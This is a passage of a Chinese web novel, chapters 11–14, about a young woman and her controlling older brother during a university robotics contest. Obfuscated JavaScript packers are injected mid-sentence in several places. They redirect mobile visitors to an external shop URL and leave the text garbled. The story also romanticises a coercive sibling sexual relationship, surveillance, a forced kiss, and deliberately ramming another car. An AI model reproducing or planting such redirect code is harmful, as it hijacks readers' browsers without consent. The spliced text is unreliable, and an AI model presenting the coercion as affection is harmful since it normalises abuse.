顾问非常热情地将两人往贵宾厅引，顾星河牵着宝玥，“不用，我们先看看柜台的。” 他目的性很强，直接走到情侣款手链的柜台前，“挑挑看，喜欢哪款？” 情侣手链代表什么意思，不言而喻。 宝玥只是皱了下眉头，还没明确表达出意思，顾星河和顾问说：“她不喜欢这些，还有其他款吗？” 根本没有给她开口拒绝的机会。 此时正是饭后逛街的时间，店里坐着多是约会的情侣或者年轻夫妇，能买得起这个品牌的人，穿衣打扮都有品位。 而在这样的客群中，宝玥得到也是别人没有的待遇，有三位工作人员围绕着他们转，一位给他们准备茶点，一位端着托盘，还有一位为她试戴。 宝玥不想要，顾星河就问她，“你只收大哥的礼物，不收我的礼物是什么意思？今天还给大哥打领带……” “我说了是认错了。” “为什么只回答一个问题？” 宝玥不吭气了。 顾星河看她这样，眼底泛着冷光。 他不知道两人到底发生了什么事情，但他能感觉到他们之间建立起某种隐蔽的联系，藏着什么不可告人的秘密。 但他不会为难妹妹。 如果有错，错得肯定不是她。 他从托盘里拿起了一条红色手绳，绕到她的手腕上，又拿起黑色手绳给她，要她为自己戴上。 宝玥：“你戴手表了。” 话落，那价值百万的腕表就被他毫不犹豫地摘下放进了口袋里。 宝玥还是没有动。 顾星河一只手指按在她右颊，将她扭开的脸蛋掰回来，低笑道：“又不是没系过，今天怎么这么小气？” 以前，她往顾星河手上系过自己折的纸星星、编的手绳、发绳……但怎么会和现在一样？ 这根本不是小气的问题。 为他戴上手链就像是承认了他们另一层关系。 顾星河伸出的手腕还悬在半空，安静地等待着她。 他拿捏着她心软，逼她认下。 她系得很丑，但本人却很满意。 销售顾问也在睁眼说瞎话，“顾先生和宝小姐十分般配，手链很适合你们，祝你们幸福甜蜜！” 实在太有职业素养了，哪怕半年前还夸着兄妹情深，现在也能面不改色地改口。 宝玥羞得抬不起头，几度想开口辩解，却说不出话。 谁家兄妹会买情侣手链。 这话说出来不是更可笑吗？ 顾星河对新身份无比适应，重新牵起她的手，指尖在她戴着红绳的腕间轻轻摩挲了一下，对顾问说声谢谢，又指了一条项链，“一起包起来吧。” 顾问大喜，最后十分恭敬地送二人离开。 又是一个漫长炙热的夜晚。 宝玥又给顾星河系了一遍领带，是在脖子上，也是在他的脸上，后来又绕到了她的手腕上。 彼此戴着手绳的手始终十指紧扣，珠子碰撞发出细碎的响声。 他们明明是兄妹。 却戴着情侣手链，做着情侣才做的亲密事。 他大抵是舒服了，气也消了，才开始哄她，“今晚担惊受怕了？” 又拨开她额头的湿发，亲了亲她，“不用怕，别人根本不会在意我们到底是什么关系，只在乎我给他们多少钱，好好戴着手链，我随时要看到它。” 他总是这样，用她不明白的道理哄她。 这样真的对吗？ 可以吗？ 她不知道。 但她觉得二哥好过分。 …… 再次睁眼时，她就看见那双漂亮的眼睛含笑望着她，眼神温柔得溺死人。 “醒了？”他低头在她额上印下一个早安吻。 相比上一次醒来的惊恐，这一次她已经淡然了许多。 不仅没被吓到，还发现自己的手脚还缠在他身上。 她倦懒地收起手脚，顾星河笑了笑，“你再睡会，我去做早餐。” 入眼一大片光滑的暖白色，细腻的皮肤在晨光中泛着细腻的光泽，仿佛连肌肉的纹理都描摹得格外清晰，瘦但结实，绷紧时能爆发出强劲的力量。 宝玥不是第一次看二哥的身体。 以前暑假，她和哥哥们游过几次泳，十七八岁的少年，正是充满着朝气和男性魅力的年纪，连会所的服务生都忍不住多看两眼，夸他们模样好。 她当时也觉得两位哥哥身材顶好，能坦荡地欣赏，坦荡地夸奖，更多得是身为妹妹的自豪，而现在她看了会害羞，会心跳加速。 在意识到自己不知不觉用男人的眼光看顾星河时，她没来由心慌。 如果现在问她对顾星河还是纯粹的兄妹情吗？ 她的答案不再像一个月前那样坚定。 在餐桌上，宝玥提出了斟酌很久的想法，“哥，我暑假不想回家住，住学校准备挑战赛更方便些。” 顾星河黑眸沉静地望着她，没有立刻反对，拿了张纸巾给她擦了擦她嘴角的麦片，“当然可以。” 宝玥睁大眼睛，刚腾起一丝希望，就听他继续道：“但哥找你的时候，必须回消息，接电话，答应见面。我需要掌握你的所有动向，包括接触了什么人。” 他温和而平静地阐述着一项既定规则，却让宝玥感觉窒息不已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我希望做轻量化设计。” 她话音刚落，小队陷入了诡异的沉默，一位同学轻声道：“虽然是比较重，但稳啊。” “嗯嗯，而且现在改也来不及了。” 其余默不作声，显然认同这个说法。 只有她，成了不合时宜的异议者。 她反抗不了顾星河，也反抗不了自己的小队。 她好像做什么都很失败，她的想法无人在乎。 宝玥沮丧地从实验室离开。 电梯门开时，她也没注意到里面的人，直到听见有人叫顾星河。 一抬头，就看见了出众的他。 在人满为患的电梯里，他仗着身高和气质的优势，依然是最显眼的那位。 在学院里，没人不认识顾星河，耳边是此起彼伏的问候声。 顾星河温和地和大家笑笑，目光最后落在宝玥脸上，也朝她点了点头。 宝玥移开了目光，正好与他旁边的男生视线撞上。 对方也笑着与她打招呼。 “学妹好。” 宝玥礼貌地回应，“张学长好。” 是逐光战队的现任队长。 刚回完，她敏锐地察觉到顾星河唇角的弧度绷紧了下。 电梯抵达一楼，众人鱼贯而出。 宝玥深吸了一口新鲜空气，猛地手腕被人从后面握住。 力道不重，但她还是吓了一跳，一回头便对上顾星河的笑眼。 “手链呢？” 周围一道道目光聚集在了他们的身上，宝玥感觉自己快被那些灼热的眼神烧成灰。 他明明知道她不喜欢被人这样看的。 为什么还要这样做。 刚刚受得委屈，在这一刻被放大。 一股浓浓的酸涩感直冲眼眶，她咬牙甩开了他的手。 “别碰我。” 12. 第 12 章 宝玥跑了。 顶着那些目光和窃窃私语，难堪地跑了。 到这份上已是破罐破摔，干脆不理他了。 连着被宝玥拒了几次，顾星河的心情也差到极致。 公司近期有几个大单子赶着交付，因为是重要客户，他亲自从研发盯到生产，确保万无一失，每周还要抽空去指导南大的机器人团队，校级挑战赛也挂了个总技术指导的职务，虽然当初是为了妹妹才担下，但也尽心尽责地去做。 一个人掰成了三瓣用，也只有和妹妹在一起才能放松放松。 她不肯住家，他只能每晚送她回校，回来还得继续干活，一天就睡四五小时。 *** 终于挨到周末，施柔来了电话。 顾老爷子摔了腿，他得去顾园一趟。 施柔有意提起，“这次幸亏清月送老爷子回来，你请她吃个饭表示下感谢。” 清月，倒是叫得很亲切。 上次老爷子的画坏了，施柔也是让他找颜清月帮忙修复的，这次答谢宴又落他头上，其中意思不言而喻。 两位老人都未出声，显然也是默许了这事。 顾星河荡开无可挑剔的温润笑容，“知道了，我一定会好好感谢颜小姐。” 他十分耐心地陪老人吃完午饭才离开，刚走出楼，施柔又叫住了他。 “逐光战队那女孩申请过顾氏基金的奖学金，鉴于这次在战队中的优秀表现，顾氏不仅会通过她的申请，还会给她写国外名校的推荐函，我想她不会拒绝这么好的留学机会。” 顾星河笑容依旧，恭顺回应：“您安排就好。” 凡是与他们兄弟传过绯闻的很快都会被处置了。他从无确认过这当中有多少是无辜的，想来她也不会有这个耐心去查，哪怕只是给他们写过情书，也会被她高高在上地审判。 他坐进车内，收起了脸上的笑，再次拨打宝玥的电话。 还是无人接听。 很好。 四天了。 他降下车窗，手肘放在那，单手支着脑袋开车，后移的行道树影在他眼底流着晦暗的影子，灌进来的风难以吹散他心上的阴郁。 这时，一道刺眼的黄色伴随着嚣张的引擎轰鸣，从他左侧猛地窜出，两辆车平行时，对方驾驶座上穿着花衬衣的男人故意按喇叭冲他挑衅。 “给老子让让！” 副驾驶座还有一位浓妆艳抹的女人用黏腻的嗓音在发嗲，“哎呀，好英俊的小哥哦！你别对人家那么凶嘛！” 花衬衣听到这话好像受了什么奇耻大辱一般，一个甩尾加塞到了顾星河面前，还故意点了两下刹车。 顾星河慵懒的姿态未动，唇角勾起一抹笑。 引擎突然发出压抑的吼声，性能卓越的豪车犹如惊醒的野兽扑向前面的黄车，直接把那辆车的尾巴撞了个稀巴烂，差点翻到路边。 交警来时，他无比淡定地坐在驾驶座擦自己脸上的血，完全看不出对自己千万豪车撞毁的心疼。 而被撞惨的花衬衣听到自己酒驾判主责时，一边惊恐一边谩骂，“是他撞上来的！他撞上来了！他妈的不要命的疯子！！！” 救护车呼啸着将那聒噪的两人抬走。 后续拖车、赔偿等事宜，全留给保险公司和张叔去交涉。 张叔为他拉开了车门，“二少爷，我先送您去医院检查下吧。” 顾星河将染血的纸巾揉成团，“不用，回家。” 进了家门，他看了眼手机。 对方没回电话，他再打依然是无人接听。 他进餐厅倒了一杯水，低头发了条消息。 【接电话，不然我就去找你了】 这回，电话通了。 顾星河压抑着烦躁的情绪，语气极淡，“回家，我现在要见你。” 宝玥这次是破罐破摔了个彻底，说不理就真不理，这几日心无旁骛地攻克算法。 他的电话从午饭就和催命符似的响个没完，她已经烦躁到极点。 连日来的压力、队员的轻视和他的纠缠早已把她逼到了临界点，骤然听到他这命令式的语气，她也不客气地回道：“我没空！” 意料之内的回答。 她从来都没愿意过。 真到床上又没拒绝他。 “行，那我现在过去找你。” 嘟—— 电话被对方毫不留情地挂断了。 顾星河不在乎，将带血的脏衣物脱了个干净，又冲了澡，沐浴的清香覆盖了淡淡的血腥味。 刚刚抬胳膊时，才发现肌肉扭伤，他也不在意，只在镜前把脸上的伤口处理干净。 那会儿，他的确想进医院装个可怜什么的让妹妹来看望他，但又怕吓到她。 以前他被施柔打肿了脸，她都哭成什么样，要看到他流那么多血，会不会吓得做噩梦？ 收拾妥帖后，换上了妹妹最喜欢的那款衬衣，喷了妹妹最喜欢的香水，好整以暇地坐在沙发上。 大约半小时后，门口传来了指纹验证通过的响声。 那个挂了他电话的妹妹还是来了，她疲惫不堪地出现在他面前，还没换好鞋就被他抱了起来。 “哥！你干嘛！放开我！”宝玥惊恐不已，拍打着他，在发现他把自己往卧室带时，更是急得连哥也不叫了，“顾星河！你能不能不要这样，我最近压力真的很大，马上就要热身赛了，我还有很多事……” 她的声音从愤怒到委屈，若是平时，顾星河可能就心软了，但今天却铁了心，直接将她丢到了床上，他用膝盖顶住了她乱蹬的腿，伸出食指压住她一张一合的唇。 “嘘，别说扫兴的话。” 上一刻还强势的人，这一刻又低头蹭着她颈窝示弱，“哥今天心情不好，陪我一会儿，不会耽误你太久。” 而他示弱的方式就是当着她的面，脱自己的衣服，以完美的角度呈现出完美的身材，握起她的手往自己腰腹放，用眼神示意她为所欲为，再用温柔细腻的吻和抚摸来撩-拨她。 他很擅长哄人，也很擅长勾-引。 嘴里说着不想不想的人，很快就主动接纳了他。 只有在被温暖紧裹，如同血肉相连的时刻，他才感觉自己的心没有那么冷，所有的躁动和戾气都被她婉转的声音抚平。 能取悦她，就是他最大的快乐。 汗珠顺着发梢滴落，他俯下身为她舔尽，揣着心思，小心试探道：“如果家里安排哥哥去联姻，玥玥会难过吗？想让哥哥去吗？” 这句话像一盆冷水，让意乱情迷中的宝玥瞬间清醒了几分，她偏过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一场重要的产品会议正在进行，下首坐着一群相关部门的负责人，而顾星沉西装革履，姿态挺拔地坐在主位，一脸冷峻地聆听着他们汇报。 毫无预兆的瞬间，情绪突然崩溃。 来得太快，太凶，排山倒海似的，直接将他拽进了深海，吸进的氧气如同大量的玻璃渣，每一次呼吸向内收紧一寸，就被扎得千疮百孔，疼得死去活来。 那是一种渗入骨血的悲伤和失望，以及一种被全世界抛弃的绝望。 他抵抗得越厉害，蔓延的情绪就如水草将他缠得越紧，握笔的手止不住地在抖，身体还莫名其妙地起了反应。 他引以为傲的自制力在这一刻溃不成军，人人颂赞的他有这么一天，情绪控制不了，身体也控制不了，他几乎凭借着多年历练出来的本能，才能勉强维持着镇定的模样，不至于在众多下属面前失态。 “顾总？” 下属已经汇报完了，正等着他发言。 久不见他开口，身旁的秘书才发现他脸色极为不好，才小声提醒他一句。 他根本不知道自己说了什么，所有言辞就像早已设置好的程序，自动运行着。 下会之后，他立刻把自己锁进了办公室，并让秘书拒掉了后面的访客和会议。 他瘫坐在椅子上仰头深呼吸着，试图平复不正常的身体反应和情绪。 良久，他有些茫然地抬手，抹向发酸的眼角。 指尖竟沾了一滴温热的液体。 他……哭了？ 如此陌生又可笑的反应。 这到底属于谁的？ 13. 第 13 章 最初的两次梦到妹妹，顾星沉将原因归结于二人同住一起，接触过多。 妹妹已经成年了，早就应该避嫌。 因此，他宁可多花半小时在路程上，也决定搬去南郊别院。 这是他个人资产，一人独居，不用再担心暴露什么。 这些日，他退掉了很多不必要的应酬，将线下会议改成了线上，留了更多时间在运动上。 要么在地下室的健身房挥汗如雨，要么在露天泳池来回穿梭。 他不得不消大量体力，将身体逼至极限，才能勉强压制住那些不该有的情绪，获得片刻安宁。 这绝不是他该有的样子。 从最早的梦，到后来清醒着失控，近期频次越来越高，随时随地、毫无预兆，甚至出现在青-天-白-日会议上、办公室里，简直荒唐。 所有情绪都是被动触发，就像被人一股脑地强塞，完全不受掌控。 淡忘的记忆被翻出来，他大约猜到问题在弟弟身上。 10岁之前，他们的确能共感到对方情绪，也是别人常说双胞胎之间心有灵犀，但随着彼此成长轨迹不同，共感后来就消失了，他现在毫无疑问又出现了。 真正令他不安的是，为什么每次被这些情绪裹挟时，想到得都是妹妹？ 这也是共感吗？ 还是他…… *** 宝玥撑起疲倦的身子，开始穿衣服。 手腕被人轻轻握着，“怎么了？” “我要回校。” “这才热身赛，没必要这样拼命。” 宝玥皱了下眉头，抽出手继续系纽扣，“你不要管。” 语气和那天说别碰她一样。 无情的小猫，还会挠人。 顾星河从身后环住她的腰，轻轻吻了下她的肩，“是遇到什么难题了？明天我早点送你去学校，帮你看看？” 她没有犹豫地拒绝了他，“不需要，自己能解决。” 顾星河下巴贴在她肩窝，声音低落，“别这样，玥玥。” 从进门到现在都没问过一句他脸上的伤。 更没问过他今天为什么心情不好。 满脑子装得都是代码。 他只是想要她一点点的关心而已。 可看着肩上被他咬出的印子，那股烦躁又被愧疚压了下来。 他正要开口道歉，宝玥的手机屏幕亮起。 【你去哪了？怎么不回消息？】 【物体追踪的算法又出问题了，怎么回事】 *** 晚上7点多，南大实验楼灯火通明。 这里除了她的队友，还有其他备赛的团队、以及各种科研创新项目的同学们，很多人都是在下课之后才到实验室，此时正是最热闹的时候。 顾星河一直陪她走到了实验室门口，才将买好的晚餐放进她手里，“先吃完再干活，好了叫我。” “你走吧，我晚点自己回寝室。” “如果过了11点怎么办？” “那我……” “好了。”顾星河不想听她拒绝的话，“到点了再说，哥在5楼，好了叫我。” 不等她说什么，他已经走了。 宝玥望着他的背影，吁了口气，转身走进了实验室。 她的5名队员们都在了，正围着机器人模块，接线的接线，打螺丝的打螺丝，活像是进了厂线。 “我这辈子都没打过这么多螺丝，不行了不行了，酸死我了，你来替我一会……” “草，这是几个是通孔，怎么打？” …… 看着大家忙得热火朝天，宝玥为自己不务正业了一下午感到羞愧。 “宝玥，你过来。” 陈牧叫了她，语气并不太客气，“你自己看看，这个跟踪的精准度不说，还明显的滞后。” 宝玥：“队长，你真不考虑下减轻重量吗，这明明就是负重过大导致的动态响应力下降。” 陈牧的脸色瞬间变得非常难看，“如果你对我的设计这样不满意，可以退出，不必一直找我的问题，大家都在忙，你在做什么？消失了整整一下午，我三请四请才把你叫回来。” 宝玥被说得脸上火-辣辣的，即便她原本有理，现在也成了没理的人了。 她的话更不会有人听了。 她十分难堪地与他道了歉，立马拿起电脑干活。 这一忙就忙到了凌晨2点，顾星河也等到了2点。 虽然他一次也没催促她，但他的存在就像一段无法注释的代码，试图忽略它，但依然会执行它，这简直比逼她更难受。 累了一天，不断受气，宝玥的心情无比郁闷，看到他就忍不住抱怨，“你不知道我走的时候，他们怎么看我的，显得我不合群。” 顾星河打了个呵欠，像是刚睡醒，嗓音带了几分暗哑，“那怎么样叫合群？和他们一起睡在实验室吗？可你是个女孩子。” 她大声道：“逐光战队不是也有女孩子吗！” “但我舍不得妹妹吃苦。” “……” 她已经没什么力气与他争辩了。 一个，一个的，要把她累死。 第二日，她继续顶着两个黑眼圈到实验室。 还没到门口，蓦地听到陈牧的声音。 “算法本就应该去适应机械设计，而不是反过来，她居然还三番两次和我提出意见？要不是看在她是顾星河的妹妹份上，怎么可能选她？气死我了。” 另一个男生应他的话，“她是专业第二，不至于啊。” 陈牧又说道：“这么多模块的代码，哪个是书上教的，谁不是边学边操作？” “也是，可能找个有赛事经验的更好。” 宝玥的气力像是被卸了，装着笔记本的书包沉甸甸地压垮了她的脊梁柱。 熬了几个大夜都没有这一刻累。 她被选上，是因为她是顾星河的妹妹。 她被嫌弃，是因为她没有他们想得那么厉害。 他们对她的不满，是因为对她有着高不可及的期望。 直到他们已经进实验室好一会，她才靠近。 陈牧又来敲进度，“测试没问题吧？” 宝玥没说话，他接上，“最好是没问题。” 今天的实验室里，气氛明显不一样。 大家依然各自忙着自己的部分，但陈牧对她的每处修改都报以质疑，总要多问两句，这种露骨的不信任让她非常难受。 可想到在组队之前，他们不认识不了解，质疑她也是合理的，又不是每个人都像顾星河那样对她毫无保留的信任。 他是队长，对整个项目负责，多问她两句怎么了，干嘛这么矫情，再看其他队员不也是对他言听计从吗？ 大家都很团结，她不能让自己像个不合群的异类。 到了饭点，队友喊她去食堂，她拒绝了，不想拖累大家，只能争分夺秒地干活。 她就在教育超市买了个面包，坐在实验室门口吃。 “怎么一个人在这？” 熟悉的声音让她浑身一僵。 顾星河将饭盒放在了她面前的小圆桌上，“就知道你不会去食堂，给你带了午餐，阿姨做的。” 他今天穿着浅蓝色的衬衣，看起来依然是个温柔体贴的哥哥。 他打开了餐盒，两盒是一模一样的菜，都是她喜欢吃的。 宝玥别过脸，“我快吃完了。” 顾星河直接从她手里拿走了面包，“你平时就这样应付的？哥以前怎么教你的，身体和时间都是你最宝贵的东西，不要随意挥霍，有问题解决问题。” 他也不是来教育她的，把筷子塞进她手里，“快吃，吃完再忙。” 注意到从实验室门口路过的人投来的目光，陈牧今早的话如洪钟响在耳边。 ——要不是看在她是顾星河的妹妹份上，怎么可能选她？ 顾星河的妹妹。 顾星河的妹妹。 她永远只能是顾星河的妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889316|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？ 她为什么不能是宝玥？ 她端起饭盒。 顾星河抬头，“去哪里？” 她头也不回地说道：“回实验室吃。” 顾星河注视着她的背影，眸里的温度一点点地退去，最后只剩下一片冰冷，他面无表情地将自己拿一份饭，连盒一起扔进了垃圾桶。 *** 问题终于暴露了。 以其惨不忍睹的方式暴露了。 第二轮实地测试中，在机器人穿过几个连环坡之后，底盘的连接件突然砰的一下断裂了。 机器人瞬间瘫痪。 陈牧立马拉上团队所有人拆解结构，分析问题，最终将失败归咎在宝玥的算法设计上。 “这里明显给了一个不合理的瞬间加速度，导致冲击过大，致使连接件疲劳损坏。” 宝玥难以置信地望着他，同时感受到剩下四道目光。 她立马提出异议，“你怎么能这么武断说是我的问题？为什么不可能是结构设计问题，是材料质量问题？” 另一位机械专业的男生打断了她，“只有你的算法一直出现问题不是吗？材料是官方资源包发的，怎么可能有质量问题？” “大家牺牲了休息的时间，下课赶工，周末赶工，耗费了多少时间，却在你这里功亏一篑。” “你怎么还在推卸责任？” …… 原本就对她颇有微词的队员，这一刻也憋不住开口了。 宝玥从来没被这样千夫所指，她急于澄清自己，“我的算法指令绝对没有任何问题，我可以给你们看模拟数据。” 正是因为早就知道负重有问题，她模拟了无数次，那些数据早就烂熟于心。 可是，没有人再愿意信她了。 她的所有解释、证明、努力，最后就被一句“你根本没参加过比赛”给轻飘飘否认了。 “算法怎么能出错？根本来不及改了！” “这样下去，我们连下周的热身赛都过不了！” 大家七嘴八舌地抱怨起来，团队士气在这刻达到冰点。 有人起身，狠狠地踢了一脚桌子，吓了宝玥一跳。 陈牧深吸了一口气，推了下眼镜，“我只能再给你一晚的时间。” 他说完也拿起书包走人。 还剩两位队友收拾好地上的零件，挠了挠头，有点不知所措地对她说道：“要不……先去吃饭吧，晚了食堂没菜。” 宝玥摇了摇头，呆呆地坐回电脑前，看了一遍又一遍模拟数据。 为什么没有人信她？ 为什么错得一定是她？ 她只是想要证明自己而已。 她又蹲下身，捡起那被丢弃的断裂连接件，不知道看了多久，直到一个温温柔柔的声音拉回了她的思绪。 “怎么蹲在这儿发呆呢？其他人呢？” 她一动不动，没有回应。 顾星河走了进来，把保温盒放在了她的电脑边，“给你发消息又不回，我只好把晚饭带来了，是你最爱的笋干烧肉，还有……” “能不能不要再来打扰我了！”宝玥猛地站起身，瞪着他，“你一直找我，我连专心做事的时间都没有！你为什么一直要逼着我做不喜欢的事？！” 这是她第一次冲他发火，顾星河被她吼得表情一凝，手上的动作突兀地停住了。 “我逼你做不喜欢的事？” 他缓缓重复着她的话，刚刚还荡着笑意的眼角瞬间绷了紧。 宝玥的眼泪控制不住地涌了出来，大颗大颗地顺着眼角流下，多日来的压力、委屈和被否定、被质疑早已让她不堪重负，她朝他歇斯底里地吼着，“对！我不想被你缠着，不想和你上-床！都是你逼我的！我只是想好好读书，好好生活，不想要过得这样胆战心惊……我的生活全被你毁了……” 她的声音落下后，实验室里陷入落针可闻的死寂。 顾星河死死盯着她，瞳孔上的暖色彻底褪去，如同燃尽最后的余灰。 14. 第 14 章 顾星河垂着眉眼，盯着蹲在地上哭的妹妹，面部肌肉不由自主地绷紧，脖颈的青筋微凸，好似在极力克制着什么。 他觉得心脏很疼。 妹妹吐出来的每个字，都像是覆了冰的刀刃刺向他。 她说不喜欢他。 这么明显的讨厌，他想骗自己一下都做不到呢。 好疼，真的好疼好疼。 他缓缓屈膝弯下了腰，想摸摸她的头，却被她躲开了。 撑在膝盖上的五指攥成了拳头，指甲深陷掌心，试图用另外一种疼痛来缓解心脏的痛楚。 他唇角动了动，又重新挂上温柔体贴的微笑，关切地问道：“是不是最近压力太大了？” 宝玥痛苦地抱着头，将脸蛋埋在膝盖里，哭得撕心裂肺，整个人又成防守的姿势，把脆弱的一面包裹在内，只露出带着锋芒的刺。 不让他碰一下。 “我只是想好好准备比赛，想证明我不是只能靠你……可是……” “陈牧说选我是因为我是你妹妹，他们都不信我，我拼了命地想做好，想证明自己，可现在全毁了，都是因为你，因为你一直要出现在他们面前，一直提醒着他们，我是顾星河的妹妹。” …… 听着她断断续续地哭诉，顾星河覆下眼睑，语气低落，似乎很受伤，“当我妹妹不好吗？” “不好——” 宝玥刚抬起头，下巴就被顾星河用力掐住，她吓得把话一噎。 那双总是装满温柔的笑眼，此刻像是涂了蜂蜜的刀子，就这样直直刺向她。 阴鸷、冰冷、尖锐。 是她从未见过的眼神。 令人不寒而栗。 宝玥一时吓住，忘了哭泣，只有生理性的泪水还在不住地流着。 顾星河咬着牙，“妹妹？” 又一声，轻得似细沙掠过，“玥玥？” 每轻叫一声，他揉搓她下巴的手劲就重一分，仿佛要将骨头揉碎。 “疼……” 疼？ 他更疼。 顾星河毫无预兆地低头吻住她，强势地撬开她的齿关，霸道地缠住她到处逃窜的舌头，卷着她的眼泪和津液一并吞下。 “呜……这是……实验室！” “不正合你意吗？都不想当我妹妹了……” 不是这样的！ 宝玥被堵着说不出话，用力推他，可不再像以前那样轻易推开。 她才明白，只要他不想，她就推不开。 她发了狠咬他。 对方像是不知疼，血腥味被舔进她的口腔。 疯了。她的二哥疯了。 就在她以为自己要溺死在这个吻中，对方又突然松开了她。 瞬间失了重心，她瘫坐在地上，大口大口地呼吸着，犹如濒死的鱼终于有了水。 胶着的空气，只剩下彼此剧烈喘息的声音。 顾星河舔了舔被咬得发麻的舌头，抬手抹掉沾在她唇瓣上的殷红，却被她用力拍开。 啪—— 拍在手背上的响是真响。 一点也不留情。 宝玥再望向他时的目光，除了愤怒、委屈，还多了满满的失望。 “你总是这样！只要我不愿意，你就逼我！” 顾星河盯着那一张一合的唇瓣，在他刚刚极尽暴力的蹂-躏下，又红又肿，那白皙的脸蛋糊满了乱蹭的泪痕，连下巴也被他揉红了一片。 苦涩味从舌尖的伤口漫延到了心口，他先一步冷静了下来，“我理解你压力大，但不要说这些伤人的话，哥也是人，也会生气。” 宝玥低声啜泣着，在刚刚两人纠缠中，眼泪早已糊了一脸，连衣襟也沾了不少，此时坐在地上，就像只被欺负惨了的小猫，模样极可怜。 对她的愧疚和心疼，终究低过自己的痛苦。 顾星河伸手擦了擦她的眼泪，放柔嗓音，“如果你真的想让别人看得起你，就该用实力让他们闭嘴，而不是将我推开。” 陈牧的指责，队友的质疑，还历历在目。 这一句“用实力让他们闭嘴”掷地有声。 顾星河又问：“你是想继续趴在哥哥怀里哭，还是起来解决问题？” 他的眼神是鼓舞，也是宠溺，在无声告诉她，无论她选择什么，他都无条件地支持她。 哥哥的作用是给妹妹向前的勇气，也是后退的底气。 宝玥的哭声渐渐停了。 冰冷的连接件紧紧握在手里，尖锐的裂痕刺痛着她的掌心，也刺碎了她的懦弱。 她的心燃起一团火苗，暖烘烘的，仿佛给冰冷的身躯重新注入新鲜血液。 她至始至终想要的，只是证明自己而已！ 顾星河将她拉起，“好了，擦干眼泪，起来，我们一起看看问题。” …… “从现在开始，把脑子放空，不要想比赛，不要想你的队友，仔细检查代码。” 宝玥听话地抹掉脸上的泪痕，指尖放在了键盘和鼠标上，开始一个模块一个模块地检查。 “除了你自己那部分，再看下你团队的……” 不仅查所有代码，还查设计图纸、材料包参数。 他没有直接代劳，而是一步步地指导她，并在某些时刻帮她递工具和材料。 窗外的天色已经完全黑了，实验室里传来机器运转的响声。 显示屏上变幻着蓝绿色的光，一条条代码如流水滚动起来。 即使是从未有过的高强度超负荷忙碌，宝玥也不知疲倦，一颗心全扑在了机器人上。 但她又明白，她之所以能这样心无旁骛地投入，是因为哥哥在旁边。 即便他什么也不做，他的存在就令她安心。 忽然，顾星河按住她的鼠标，往后拖了拖，反复运行了这段指令，“看见了吗？这个断裂处就是一个应力集中的死角。” 宝玥定睛一看。 顾星河解释，“如果是常规负载，这不是问题，但偏偏你们用了这个规格的材料，如果换成……也许也不会断。” 宝玥眼睛一亮，声音不由激动了起来，“所以根本不是我的问题，是设计图的缺陷，是材料规格的选择错误，才是导致这次问题的关键……不对，我也有问题，我的算法让这个断裂提前了几分钟发生……” 每个问题单独拧出来都不是致命的，但雪崩的时候，没有一片雪花是无辜的。 宝玥自言自语道：“所以如果找不到问题，应该要看看别的部分……看问题不能片面，我明白了，我明白了！” 她越说越大声，嘴角忍不住地往上翘，顾星河再不抓住她，她就要飞起来了。 他勾了勾唇角，“这个问题不难，但难在你们都是新人，新团队，每个人各司其职，只关注自己的部分，缺少一位把控全局的人。” 话落，他就将她按回了椅子上，“可喜可贺，问题终于找到了，可以安心吃口饭了吧？休息一会，我去热饭。” 问题虽然找到了，但解决方案还是没找到。 宝玥一边吃着饭，一边撑着脑袋在想，“这部分的结构还是得改，但时间来不及……” 顾星河：“不用全改，先消除这个致命问题，应付热身赛足够了，你们先拿到入场券，再重新设计，到正式比赛还有一段时间，相信你们足够修改了，先吃饭，吃饱饭好继续解决问题。” 虽然都是她爱吃的，但她心里装着事，也无心品尝，也不顾形象地一阵风卷残云，把饭菜都吃光了。 这模样要让别人看去，估计得大跌眼镜，但她在顾星河面前，从不在意这些。 蓦地，他丢来一块硬盘，“刚刚上楼拿的。” 宝玥狐疑地插-进电脑里，打开文件一看，“这是……” “这些是逐光战队淘汰的设计方案，可以给你们一些启发。” 那可是逐光的方案！哪怕是淘汰方案，也能给她宝贵的经验！ 宝玥连着点开几个，不可置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889317|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信地问道：“这算作弊吗？” 顾星河笑了起来，“作什么弊？都是淘汰的方案，没有对外使用过，也没让你直接抄，对了，你不知道你们今年比赛用的开发套件是元序的？” 宝玥呆呆地摇了摇头。 顾星河浅浅笑了出来，“不然你以为冠名是怎么来的？” …… 从夜幕星垂，到东方鱼肚白。 迎着晨曦的微光，宝玥终于整理出了一套与算法需求结合的设计优化方案，并将模拟数据一并覆在了报告上。 “哥，我成功了！这次我肯定没问题了！” 宝玥兴奋地晃了晃顾星河的胳膊。 他开玩笑地问道：“现在又愿意叫我哥了？” 宝玥脑袋低垂了下来，有些不好意思。 